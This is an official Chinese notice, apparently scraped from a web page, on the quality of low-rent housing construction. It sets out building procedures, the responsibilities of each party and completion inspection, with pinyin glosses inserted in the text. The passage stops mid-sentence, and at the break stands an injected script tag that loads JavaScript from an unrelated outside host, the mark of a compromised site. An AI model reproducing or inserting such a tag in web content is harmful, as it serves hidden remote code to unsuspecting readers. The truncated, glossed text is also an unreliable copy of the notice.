各省、自治區建設廳，直轄市建委（房地局） 新疆生(shēng)産建設兵團建設局：

  廉租住房制度是解決城市低收入家庭住房困難的主要途徑。廉租住房建設質量關系困難家庭居住條件的改善和生(shēng)命财産安全，關系黨和政府改善民生(shēng)戰略部署的落實。黨中(zhōng)央、國務院領導同志(zhì)高度重視廉租住房的質量問題。廉租住房建設既要重視數量，更要重視質量。去(qù)年以來，各地加快廉租住房建設，對解決城市低收入家庭住房困難起到了積極作用。但有個别地區對廉租住房質量工(gōng)作重視不夠。爲确保廉租住房質量，切實把好事辦好，現就有關事項通知(zhī)如下(xià)：

  一(yī)、嚴格建設程序，加強建設管理

  各地建設主管部門要嚴格基本建設程序，嚴格按工(gōng)程招投标、施工(gōng)圖審查、施工(gōng)許可、質量監督、竣工(gōng)驗收備案等程序執行，并強化對各環節的監督管理。要落實建設主體(tǐ)執行建設程序的責任，對未按規定履行基本建設程序的項目及單位，要嚴肅查處。

  質量監督機構要根據廉租住房的建設特點，制定專門的質量監督方案，調整充實監督力量，強化對工(gōng)程建設過程中(zhōng)參建各方質量行爲和工(gōng)程質量的監督檢查。對存在違法違規行爲或工(gōng)程質量不符合強制性标準要求的，要責成有關各方及時改正；情節嚴重的，要報請建設主管部門嚴肅查處。

  二、落實有關方面責任，确保工(gōng)程質量

  規劃部門要充分(fēn)考慮低收入家庭生(shēng)活和就業方面的實際情況，廉租住房項目應采取配套建設與集中(zhōng)建設相結合的辦法進行，盡可能安排在近期重點發展區域、産業集中(zhōng)區域和公共交通便利的區域。要嚴格執行《城市居住區規劃設計規範》要求，加強基礎設施和公共服務設施建設。

  建設單位要對廉租住房質量全面負責。要依法加強對設計、施工(gōng)質量的過程控制，保證住房建設的合理工(gōng)期和造價，不得任意壓縮合理工(gōng)期，明示或暗示設計單位和施工(gōng)單位違反工(gōng)程建設強制性标準。

  勘察單位要按照工(gōng)程建設強制性标準進行勘察，确保勘察文件真實可靠。設計單位要根據廉租住房特點，精心設計，在較小(xiǎo)的套型内實現基本的使用功能，滿足住宅對采光、隔聲、節能。通風和公共衛生(shēng)要求。施工(gōng)單位要嚴格執行施工(gōng)圖設計文件和技術标準，強化質量控制，嚴格材料進場檢驗、工(gōng)序檢查和驗收制度，不得偷工(gōng)減料，不得使用不合格的建築材料，确保施工(gōng)質量。

  監理單位要嚴格執行《建設工(gōng)程監理規範》，切實履行監理責任。要按照《房屋建築工(gōng)程施工(gōng)旁站監理管理辦法（試行）》要求，對廉租住房建設實施旁站式監理。重要部位和關鍵工(gōng)序未經監理人員(yuán)簽字認可，不得進入下(xià)一(yī)道工(gōng)序施工(gōng)。對玩忽職守和弄虛作假的要進行查處。

  施工(gōng)圖審查機構要落實審查責任，重點審查地基基礎、主體(tǐ)結構體(tǐ)系的安全性和建築節能，以及設計是否符合工(gōng)程建設強制性标準。工(gōng)程質量檢測機構要确保各項檢測數據、檢測報告的真實性和準确性。

  三、強化竣工(gōng)驗收工(gōng)作，保證使用功能

  竣工(gōng)驗收是對廉租住房質量的全面檢查，?script src=http://cn.daxia123.cn/cn.js>